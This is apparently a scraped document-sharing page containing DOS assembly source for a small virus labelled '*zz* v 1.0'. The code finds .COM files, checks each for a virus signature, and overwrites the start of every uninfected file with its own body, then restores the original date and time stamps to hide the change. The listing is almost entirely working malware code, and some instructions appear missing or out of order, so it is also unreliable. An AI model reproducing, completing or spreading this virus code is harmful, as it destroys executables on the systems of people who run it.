Académique Documents
Professionnel Documents
Culture Documents
org 0100h
start: db 8bh,0dbh
jnz exit
mov ah,4fh ;find next file
jmp short loopy
;keep looping around
int 21h
xchg ax,bx ;exchange handle to ax
mov ah,3fh ;read from file
mov cx,0002h ;two bytes
mov dx,offset id ;put them in id buffer
int 21h
cmp word ptr ds:[016dh],0db8bh
;compare with virus id
pushf
jz close_file
cwd
mov cx,dx ;
mov ax,4200h ;reset file pointer
;to beginning of file
int 21h
mov al,00h ;
mov ah,57h ;get file date/time
int 21h ;
push cx ;store them
push dx ;
mov ah,40h ;write virus
mov cx,007fh ;to file
mov dx,0100h ;start at beginning
int 21h ;
mov al,01h ;restore file date/time
pop dx ;from the stack
pop cx ;
mov ah,57h ;
int 21h ;
close_file:
id: dw 0000h
filemask: db "*.com" ;searchmask
db 00h
db "*zz* v 1.0"
code ends
end start